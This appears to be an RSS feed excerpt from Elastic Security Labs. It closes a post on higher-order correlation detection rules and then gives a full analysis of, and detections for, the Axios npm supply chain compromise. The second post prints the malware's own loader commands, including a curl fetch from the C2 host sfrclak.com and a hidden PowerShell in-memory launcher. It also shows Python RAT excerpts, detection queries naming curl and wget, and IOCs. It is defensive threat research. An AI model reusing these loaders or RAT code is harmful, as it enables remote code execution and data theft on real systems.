<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/newly_observed_elastic_defend_alert.toml#L17">Newly Observed Elastic Defend Behavior Alert</a><br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/multiple_external_edr_alerts_by_host.toml#L16">Multiple External EDR Alerts by Host</a></p>
<p>Endpoint and Network:<br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/newly_observed_panos_alert.toml#L17">Newly Observed Palo Alto Network Alert</a><br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/newly_observed_suricata_alert.toml#L17">Newly Observed High Severity Suricata Alert</a><br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/command_and_control_socks_fortigate_endpoint.toml#L19">FortiGate SOCKS Traffic from an Unusual Process</a><br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/command_and_control_pan_elastic_defend_c2.toml#L17">PANW and Elastic Defend - Command and Control Correlation</a><br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/multiple_alerts_elastic_defend_netsecurity_by_host.toml#L18">Elastic Defend and Network Security Alerts Correlation</a><br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/command_and_control_suricata_elastic_defend_c2.toml#L17">Suricata and Elastic Defend Network Correlation</a></p>
<p>Generic by MITRE ATT&amp;CK:<br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/multiple_alerts_risky_host_esql.toml#L17">Alerts in Different ATT&amp;CK Tactics by Host</a><br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/multiple_alerts_same_tactic_by_host.toml#L18">Multiple Alerts in Same ATT&amp;CK Tactic by Host</a></p>
<p>Generic multi-integrations correlation:<br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/multiple_alerts_from_different_modules_by_srcip.toml#L17">Alerts From Multiple Integrations by Source Address</a><br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/multiple_alerts_from_different_modules_by_dstip.toml#L17">Alerts From Multiple Integrations by Destination Address</a><br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/multiple_alerts_from_different_modules_by_user.toml#L17">Alerts From Multiple Integrations by User Name</a><br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/newly_observed_elastic_detection_rule.toml#L17">Newly Observed High Severity Detection Alert</a></p>
<p>Lateral movement correlation:<br />
<a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/multiple_alerts_by_host_ip_and_source_ip.toml">Suspected Lateral Movement from Compromised Host</a><br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/lateral_movement_multi_alerts_new_srcip.toml#L15">Lateral Movement Alerts from a Newly Observed Source Address</a><br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/lateral_movement_multi_alerts_new_userid.toml#L16">Lateral Movement Alerts from a Newly Observed User</a></p>
<p>Observability and security correlation:<br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/impact_alert_from_a_process_with_cpu_spike.toml#L17">Detection Alert on a Process Exhibiting CPU Spike</a><br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/impact_alerts_on_host_with_cpu_spike.toml#L17">Multiple Alerts on a Host Exhibiting CPU Spike</a><br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/impact_newly_observed_process_with_high_cpu.toml#L18">Newly Observed Process Exhibiting High CPU Usage</a></p>
<p>Machine Learning correlation:<br />
<a href="https://github.com/elastic/detection-rules/blob/d358641c452dc0af5ab85d02f6f8948ec57c7ab9/rules/cross-platform/multiple_machine_learning_jobs_by_entity.toml#L16">Multiple Machine Learning Alerts by Influencer Field</a></p>
<p>Other correlation ideas:<br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/multiple_vulnerabilities_wiz_by_container.toml#L18">Multiple Vulnerabilities by Asset via Wiz</a><br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/multiple_alerts_email_elastic_defend_correlation.toml#L17">Elastic Defend and Email Alerts Correlation</a><br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/windows/lateral_movement_credential_access_kerberos_correlation.toml#L23">Suspicious Kerberos Authentication Ticket Request</a><br />
<a href="https://github.com/elastic/detection-rules/blob/ae88c095e95d78aae3766875de2ce8d6d34c40c4/rules/cross-platform/credential_access_multi_could_secrets_via_api.toml#L19">Multiple Cloud Secrets Accessed by Source Address</a></p>
<p>These examples illustrate how correlating alerts across endpoints, network, and observability can <strong>enrich context, accelerate investigations, and improve detection confidence</strong>.  We are actively expanding coverage in this area to support additional correlation scenarios.</p>
<p>You can enable them by filtering for the tag value Rule Type: Higher-Order Rule in the rules management page: </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt91ee13b21ee27b16/6a7d813e5588ad2764ee4302/image4.png" alt="" /></p>
<p>Over a 15-day period, alert counts remained within acceptable volume (~30 alerts/day). Targeted tuning of initial outliers is expected to reduce them to ~20 alerts/day and materially improve overall signal quality.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt58c3489f1397f691/6a7d8141ead8ec11beba7b3a/image5.png" alt="" /></p>
<h3 id="considerationsandtradeoffs">Considerations and Trade-offs</h3>
<p>Higher-Order Rules introduce potential scheduling latency. Since they query alert indices, there is an inherent delay between when base alerts fire and when correlations surface. Rule scheduling intervals and loopback windows should be tuned to balance timeliness against performance cost. Additionally, HOR quality depends directly on the quality of the base detections. A noisy atomic rule will cascade false positives into every correlation that references it. We recommend tuning base rules aggressively before enabling dependent Higher-Order Rules. Finally, ESQL queries over broad index patterns (e.g. logs-*) can be expensive at scale. In high-volume environments, scoping index patterns to specific datasets or using dataviews can significantly reduce query cost.</p>
<h2 id="conclusion">Conclusion</h2>
<p>High-Order rules are essential for prioritizing alert triage and managing alert volumes for automation and AI-driven analysis<strong>.</strong> When combined with <a href="https://www.elastic.co/docs/solutions/security/advanced-entity-analytics/entity-risk-scoring">Entity Risk Scoring</a>, Higher-Order Rules can feed directly into host and user risk profiles, creating a quantitative prioritization layer that further reduces manual triage burden. In our production tests, the majority of these detections produced a medium to low alert volume, making them practical for real-world use. While a small number of noisy rules or false positives may initially surface, excluding these at the atomic rule level quickly leaves a robust set of high-value correlations.</p>
<p>To maximize their effectiveness, two operational practices are critical. First, ensure that input alerts use severity levels that accurately reflect both noise and real-world impact, cleaning and normalizing severity is foundational to meaningful correlation. Second, start small and expand deliberately: avoid trying to correlate every possible alert signal. Exclude inherently noisy tactics (such as discovery), deprioritize low-severity signals, and deprecate rules that disproportionately influence correlation outcomes.</p>
<p>Applied correctly, High-Order rules streamline investigations, improve detection accuracy, and significantly increase the efficiency and trustworthiness of modern security operations.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/higher-order-detection-rules</link>
    <guid isPermaLink="false">higher-order-detection-rules</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Samir Bousseaden]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc463ffec3145bbe4/6a7d814333fa8aa2781ff97f/higher-order-detection-rules.webp" length="0" type="image/webp"/>
    <pubDate>Thu, 02 Apr 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Elastic releases detections for the Axios supply chain compromise]]></title>
    <description><![CDATA[Hunting and detection rules for the Elastic-discovered Axios supply chain compromise.]]></description>
    <content:encoded><![CDATA[<blockquote>
  <p>Elastic Security Labs is releasing an initial triage and detection rules for the Axios supply-chain compromise. We have <a href="https://www.elastic.co/security-labs/axios-one-rat-to-rule-them-all">released a detailed analysis</a> on the Axios compromise RAT and payloads.</p>
  <p>Elastic Security Labs filed a GitHub Security Advisory to the axios repository on March 31, 2026 at 01:50 AM UTC to coordinate disclosure and ensure the maintainers and npm registry could act on the compromised versions.</p>
</blockquote>
<h2 id="introduction">Introduction</h2>
<p>We are currently tracking a supply chain attack involving malicious Axios package versions that introduce a secondary dependency used for post-install execution. Rather than embedding malicious logic directly into the primary package, the attacker leveraged a transitive dependency to trigger execution during installation and deploy a cross-platform payload.</p>
<p>Elastic observed consistent execution patterns across impacted systems immediately after <code>npm install</code> of the malicious Axios versions (<code>1.14.1</code>, <code>0.30.4</code>). The added dependency (<code>plain-crypto-js@4.2.1</code>) executed during <code>postinstall</code> and was quickly followed by a second-stage payload.</p>
<p>Across Linux, Windows, and macOS, the activity followed the same structure:</p>
<pre><code>node (npm install)
  → OS-native execution (sh / cscript / osascript)
    → remote payload retrieval
      → backgrounded or hidden execution of stage 2
</code></pre>
<p>This results in a small but high-signal window where:</p>
<ul>
<li><code>node</code> spawns a shell or interpreter  </li>
<li>a remote payload is fetched  </li>
<li>execution is detached from the original process</li>
</ul>
<p>Elastic detections triggered reliably on this behavior across platforms, providing strong coverage of the delivery stage.</p>
<h2 id="howelasticdetectsthesupplychainattack">How Elastic Detects the Supply Chain Attack</h2>
<p>This activity consistently appears in process telemetry as a Node.js process spawning an OS-native execution path to retrieve and execute a remote payload, often in a detached or hidden context. Elastic detections focus on this behavior rather than static indicators, providing reliable coverage of the delivery stage across platforms.</p>
<h3 id="linux">Linux</h3>
<p>The Linux execution path is the cleanest place to start, because the malware does very little to hide what it is doing. We observed that the delivery stage produced exactly the kind of process ancestry you would expect from a compromised dependency:</p>
<pre><code>node → /bin/sh -c curl -o /tmp/ld.py ... &amp;&amp; nohup python3 /tmp/ld.py ... &amp;
</code></pre>
<p>Which shows up as follows:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte81ae5d7c456abdd/6a7d7de496b5a6a603878597/image6.png" alt="Elastic alerts triggering on backdoor execution" title="Elastic alerts triggering on backdoor execution" /></p>
<p>The initial signal comes from the Node.js process, handing off execution to a shell that performs a remote fetch. This is captured by the <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/cross-platform/command_and_control_curl_wget_spawn_via_nodejs_parent.toml">Curl or Wget Spawned via</a> <a href="http://Node.js">Node.js</a> detection rule.</p>
<pre><code>event.category:process and
process.parent.name:("node" or "bun" or "node.exe" or "bun.exe") and 
(
  (
    process.name:(
      "bash" or "dash" or "sh" or "tcsh" or "csh" or  "zsh" or "ksh" or
      "fish" or "cmd.exe" or "bash.exe" or "powershell.exe"
    ) and
    process.command_line:(*curl*http* or *wget*http*)
  ) or 
  process.name:("curl" or "wget" or "curl.exe" or "wget.exe")
)
</code></pre>
<p>This captures the moment when the installation flow deviates from normal package behavior and begins pulling a payload over HTTP. In this case, it is the <code>curl</code> invocation that retrieves <code>/tmp/ld.py</code> from the remote server.</p>
<p>Shortly after, execution continues in the same shell, but now the focus shifts from retrieval to execution. This is picked up by <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/linux/execution_process_backgrounded_by_unusual_parent.toml">Process Backgrounded by Unusual Parent</a>.</p>
<pre><code>event.category:process and event.type:start and
process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and
process.args:(-c and *&amp;)
</code></pre>
<p>Which captures the second half of the chain:</p>
<pre><code>sh -c "... &amp;&amp; nohup python3 /tmp/ld.py ... &amp;"
</code></pre>
<p>The payload is launched with <code>nohup</code> and backgrounded immediately using <code>&amp;</code>, detaching it from the parent process and suppressing output. That transition from a short-lived install-time shell into a detached long-running process is where the actual implant takes over.</p>
<p>After execution, the Linux second stage is a Python-based RAT that establishes a simple polling loop to its C2. The entrypoint <code>work()</code> sends an initial <code>FirstInfo</code> message and then transitions into <code>main_work()</code>, which continuously reports host data and processes tasking:</p>
<pre><code>while True:
    ps = print_process_list()

    data = {
        "hostname": get_host_name(),
        "username": get_user_name(),
        "os": os,
        "processList": ps
    }

    response_content = send_result(url, body)

    if response_content:
        process_request(url, uid, response_content)

    time.sleep(60)
</code></pre>
<p>On first check-in, it performs a targeted directory enumeration via <code>init_dir_info()</code> across user paths such as <code>$HOME</code>, <code>.config</code>, <code>Documents</code>, and <code>Desktop</code>, and builds a process listing directly from <code>/proc</code>, including usernames and start times.</p>
<p>Tasking is minimal but flexible. <code>runscript</code> supports arbitrary shell execution or base64-delivered Python via <code>python3 -c</code>, while <code>peinject</code> simply writes attacker-supplied bytes to a hidden file in <code>/tmp</code> and executes it:</p>
<pre><code>file_path = f"/tmp/.{generate_random_string(6)}"
with open(file_path, "wb") as file:
    file.write(payload)

os.chmod(file_path, 0o777)
subprocess.Popen([file_path] + shlex.split(param.decode("utf-8")))
</code></pre>
<p>This provides the operator with a lightweight access implant for periodic host profiling, command execution, and follow-on payload delivery.</p>
<p>Together, these detections provide strong coverage of the Linux delivery stage and the transition into the Python backdoor, without relying on specific filenames or hardcoded indicators:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/cross-platform/command_and_control_curl_wget_spawn_via_nodejs_parent.toml">Curl or Wget Spawned via</a> <a href="http://Node.js">Node.js</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/linux/execution_process_backgrounded_by_unusual_parent.toml">Process Backgrounded by Unusual Parent</a></li>
</ul>
<h3 id="windows">Windows</h3>
<p>The Windows execution path follows the same pattern: it uses curl to download a remote PowerShell script and proxy execution via a renamed PowerShell (<code>C:\ProgramData\wt.exe</code>). The following alert shows the process chain:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blteffedc4848f590ca/6a7d7de7ea068d1c74f071b0/image5.png" alt="Elastic - Alert Process Tree" title="Elastic - Alert Process Tree" />  </p>
<p>Where:</p>
<ul>
<li><code>wt.exe</code> is a renamed copy of <code>PowerShell.exe</code> located in <code>C:\ProgramData\wt.exe</code>  </li>
<li><code>curl</code> is used to retrieve a remote PowerShell script  </li>
<li>execution is performed via the renamed binary</li>
</ul>
<p>We first observe the creation and use of the renamed interpreter. This is captured by <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/defense_evasion_execution_via_renamed_signed_binary_proxy.toml">Execution via Renamed Signed Binary Proxy</a>, which flags signed system binaries executed from unexpected locations.</p>
<p>Shortly after, the same binary is used to retrieve the second-stage payload over HTTP. This is picked up by <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/windows/command_and_control_tool_transfer_via_curl.toml">Potential File Transfer via Curl for Windows</a>, capturing the network retrieval stage driven from the scripted execution chain.</p>
<p>The second stage is a PowerShell-based RAT that beacons to its C2 (<code>http[:]//sfrclak[.]com:8000/</code>) every 60 seconds over HTTP using a fake IE8 User-Agent and base64-encoded JSON.</p>
<p>It establishes persistence via <code>Run\MicrosoftUpdate</code> registry key to execute a hidden bat script <code>C:\ProgramData\system.bat:</code> </p>
<p>The batch file dynamically retrieves and executes the payload in memory on login:</p>
<pre><code>start /min powershell -w h -c "
([scriptblock]::Create(
  [System.Text.Encoding]::UTF8.GetString(
    (Invoke-WebRequest -UseBasicParsing -Uri '' -Method POST -Body 'packages.npm.org/product1').Content
  )
)) ''"
</code></pre>
<p>Its core capabilities include: </p>
<ul>
<li><strong>peinject</strong> - in-memory .NET assembly injection using Assembly.Load(byte[]) for process hollowing into cmd.exe.  </li>
<li><strong>runscript</strong> - arbitrary PowerShell script execution via encoded commands or temp files,  </li>
<li><strong>rundir</strong> - filesystem enumeration of user directories and all drive roots.</li>
</ul>
<p>On initialization, it fingerprints the host via WMI, collecting hostname, username, OS version, CPU, hardware model, timezone, boot/install times, and a full process listing, and sends an initial directory listing of Documents, Desktop, OneDrive, and AppData before entering its beacon loop.</p>
<p>The second stage triggers both the <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_startup_persistence_via_windows_script_interpreter.toml">Startup Persistence via Windows Script Interpreter</a> and <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_suspicious_string_value_written_to_registry_run_key.toml">Suspicious String Value Written to Registry Run Key</a> alerts:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt63dbe087a71bc4d6/6a7d7deae02fac7b795d34ac/image2.png" alt="" /></p>
<p>The <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/execution_suspicious_powershell_base64_decoding.toml">Suspicious PowerShell Base64 Decoding</a> rule alert captures the PowerShell RAT script content :</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt43223a27073781a1/6a7d7dedead8ec1125ba7aa5/image1.png" alt="" /></p>
<p>Taken together, these detections capture the full Windows delivery chain: from renamed binary execution, to payload retrieval, to persistence, and in-memory execution via the following behavioral detections:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/defense_evasion_execution_via_renamed_signed_binary_proxy.toml">Execution via Renamed Signed Binary Proxy</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/windows/command_and_control_tool_transfer_via_curl.toml">Potential File Transfer via Curl for Windows</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_startup_persistence_via_windows_script_interpreter.toml">Startup Persistence via Windows Script Interpreter</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_suspicious_string_value_written_to_registry_run_key.toml">Suspicious String Value Written to Registry Run Key</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/execution_suspicious_powershell_base64_decoding.toml">Suspicious PowerShell Base64 Decoding</a></li>
</ul>
<h3 id="macos">macOS</h3>
<p>Analysis shows the loader writes AppleScript to a temp file, runs it via <code>osascript</code>, then downloads the second stage to a fake Apple-looking cache path and launches it through <code>/bin/zsh</code>. The key launcher looks like this: </p>
<pre><code>do shell script "curl -o /Library/Caches/com.apple.act.mond \
 -d packages.npm.org/product0 \
 -s http://sfrclak.com:8000/6202033 \
 &amp;&amp; chmod 770 /Library/Caches/com.apple.act.mond \
 &amp;&amp; /bin/zsh -c \"/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &amp;\" \ &amp;&gt; /dev/null"
</code></pre>
<p>The delivered file produced the following execution matching on the file name masquerading attempt and the self-signed code signature :</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2d771e03ff5c998b/6a7d7df08fc2d09e223eb807/image3.png" alt="Elastic Defend behavior alert triggering on the macOS backdoor" title="Elastic Defend behavior alert triggering on the macOS backdoor" /></p>
<p>The payload path itself triggers the <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/defense_evasion_potential_binary_masquerading_via_invalid_code_signature.toml#L8">Potential Binary Masquerading via Invalid Code Signature</a> and <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/command_and_control_suspicious_url_as_argument_to_self_signed_binary.toml">Suspicious URL as argument to Self-Signed Binary</a> endpoint rules, as it mimics Apple naming conventions (<code>com.apple.*</code>) but does not match expected signing characteristics.</p>
<p><code>com.apple.act.mond</code> is a custom-built macOS backdoor compiled as a universal Mach-O binary (x86_64 and ARM64) using C++ and Xcode, with HTTP-based C2 communications via <code>libcurl</code> and a JSON command protocol. </p>
<p>On initial check-in, it fingerprints the host, collecting hostname, username, OS version, hardware model, timezone, and a full process listing (<code>ps -eo user,pid,command</code>), which surfaces via the <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/execution_suspicious_xpc_service_child_process.toml#L5">Suspicious XPC Service Child Process</a> endpoint rule, capturing unexpected child process activity originating from the backdoor:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3f5c06aa8d7e1f29/6a7d7df377b03450133fc5c4/image4.png" alt="Elastic Defend macOS alert triggering on the process enumeration from the macOS backdoor" title="Elastic Defend macOS alert triggering on the process enumeration from the macOS backdoor" />  </p>
<p>The macOS backdoor facilitates:</p>
<ul>
<li>C2 connection by passing a URL directly as an argument.  </li>
<li>AppleScript execution using <code>osascript</code> via temporary hidden <code>.scpt</code> files dropped to <code>/tmp/</code>  </li>
<li>Filesystem enumeration targeting <code>/Applications</code> and <code>~/Library/Application Support</code>   </li>
<li>Downloading and executing remote base64-encoded payloads.  </li>
<li>Ad-hoc code signing of dropped payloads (<code>codesign --force --deep --sign - “/private/tmp/.*”</code>)  so it can run past Gatekeeper.  </li>
</ul>
<p>The binary is not packed or obfuscated, ships with debug entitlements enabled, and retains developer build paths (<code>Jain_DEV/client_mac/macWebT</code>) and uses a spoofed IE8/Windows XP user-agent string (mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)).</p>
<p>These detections collectively follow the macOS delivery path from staged AppleScript execution to payload launch and post-execution behavior:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/command_and_control_suspicious_url_as_argument_to_self_signed_binary.toml">Suspicious URL as argument to Self-Signed Binary</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/defense_evasion_potential_binary_masquerading_via_invalid_code_signature.toml#L8">Potential Binary Masquerading via Invalid Code Signature</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/execution_suspicious_xpc_service_child_process.toml#L5">Suspicious XPC Service Child Process</a></li>
</ul>
<h2 id="conclusion">Conclusion</h2>
<p>This supply chain attack highlights how little complexity is required to achieve cross-platform compromise when execution is triggered during installation.</p>
<p>Across Linux, Windows, and macOS, we consistently observed the same core pattern: a Node.js process spawning native OS execution to retrieve and launch a remote payload, followed by immediate detachment or hidden execution.</p>
<p>From a detection perspective, the key takeaway is that the most reliable signals are not in the package itself, but in what happens immediately after installation. Process ancestry, network retrieval, and detached execution provide a stable detection surface that remains effective even when payloads, filenames, or infrastructure change.</p>
<p>Elastic detections focused on this behavior provided consistent coverage of the delivery stage across all platforms, without relying on static indicators.</p>
<h2 id="indicatorsofcompromiseiocs">Indicators of Compromise (IOCs)</h2>
<h3 id="relatedalerts">Related Alerts</h3>
<p>| Alert | Operating System |
| :---- | :---- |
| <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/cross-platform/command_and_control_curl_wget_spawn_via_nodejs_parent.toml">Curl or Wget Spawned via</a> <a href="http://Node.js">Node.js</a> | Linux |
| <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/linux/execution_process_backgrounded_by_unusual_parent.toml">Process Backgrounded by Unusual Parent</a> | Linux |
| <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/defense_evasion_execution_via_renamed_signed_binary_proxy.toml">Execution via Renamed Signed Binary Proxy</a> | Windows |
| <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/windows/command_and_control_tool_transfer_via_curl.toml">Potential File Transfer via Curl for Windows</a> | Windows |
| <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_startup_persistence_via_windows_script_interpreter.toml">Startup Persistence via Windows Script Interpreter</a> | Windows |
| <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_suspicious_string_value_written_to_registry_run_key.toml">Suspicious String Value Written to Registry Run Key</a> | Windows |
| <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/execution_suspicious_powershell_base64_decoding.toml">Suspicious PowerShell Base64 Decoding</a> | Windows |
| <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/command_and_control_suspicious_url_as_argument_to_self_signed_binary.toml">Suspicious URL as argument to Self-Signed Binary</a> | macOS |
| <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/defense_evasion_potential_binary_masquerading_via_invalid_code_signature.toml#L8">Potential Binary Masquerading via Invalid Code Signature</a> | macOS |
| <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/execution_suspicious_xpc_service_child_process.toml#L5">Suspicious XPC Service Child Process</a> | macOS |</p>
<h3 id="maliciouspackages">Malicious Packages</h3>
<p>| Package | Version | Hash (shasum) |
| ----- | ----- | ----- |
| <code>axios</code> | <code>1.14.1</code> | <code>2553649f232204966871cea80a5d0d6adc700ca</code> |
| <code>axios</code> | <code>0.30.4</code> | <code>d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71</code> |
| <code>plain-crypto-js</code> | <code>4.2.1</code> | <code>07d889e2dadce6f3910dcbc253317d28ca61c766</code> |</p>
<p>Additional related packages observed in the ecosystem abuse:</p>
<p>| Package | Version |
| ----- | ----- |
| <code>@shadanai/openclaw</code> | <code>2026.3.28-2</code>, <code>2026.3.28-3</code>, <code>2026.3.31-1</code>, <code>2026.3.31-2</code> |
| <code>@qqbrowser/openclaw-qbot</code> | <code>0.0.130</code> |</p>
<h3 id="scriptpayloadhashessha256">Script / Payload Hashes (SHA256)</h3>
<p>| File | SHA256 |
| ----- | ----- |
| <code>setup.js</code> | <code>e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09</code> |
| <code>/tmp/ld.py</code> | <code>6483c004e207137385f480909d6edecf1b699087378aa91745ecba7c3394f9d7</code> |
| <code>6202033.ps1</code> | <code>ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c</code> |
| <code>system.bat</code> | <code>e49c2732fb9861548208a78e72996b9c3c470b6b562576924bcc3a9fb75bf9ff</code> |
| <code>com.apple.act.mond</code> | <code>92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a</code> |</p>
<h3 id="networkindicators">Network Indicators</h3>
<p>| Type | Indicator |
| ----- | ----- |
| C2 Domain | <code>sfrclak[.]com</code> |
| C2 IP | <code>142.11.206[.]73</code> |
| C2 URL | <code>http://sfrclak[.]com:8000/6202033</code> |
| User-Agent | <code>mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)</code> |
| macOS POST body | <code>packages[.]npm[.]org/product0</code> |
| Windows POST body | <code>packages[.]npm[.]org/product1</code> |
| Linux POST body | <code>packages[.]npm[.]org/product2</code> |</p>
<h3 id="filesystemindicators">File System Indicators</h3>
<h4 id="crossplatform">Cross-platform</h4>
<p>| Path / Artifact | Description |
| ----- | ----- |
| <code>$TMPDIR/6202033</code> | Temporary staging artifact |
| <code>*/node_modules/plain-crypto-js/setup.js</code> | Node.js first-stage dropper |</p>
<h4 id="linux-1">Linux</h4>
<p>| Path | Description |
| ----- | ----- |
| <code>/tmp/ld.py</code> | Python RAT second stage |</p>
<h4 id="windows-1">Windows</h4>
<p>| Path | Description |
| ----- | ----- |
| <code>%PROGRAMDATA%\wt.exe</code> | Renamed <code>powershell.exe</code> (execution proxy) |
| <code>%PROGRAMDATA%\system.bat</code> | Persistence launcher |
| <code>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate</code> | Persistence key |
| <code>%TEMP%\6202033.vbs</code> | VBS launcher (self-deletes) |
| <code>%TEMP%\6202033.ps1</code> | PowerShell payload (self-deletes) |</p>
<h4 id="macos-1">macOS</h4>
<p>| Path | Description |
| ----- | ----- |
| <code>/Library/Caches/com.apple.act.mond</code> | Mach-O backdoor payload |
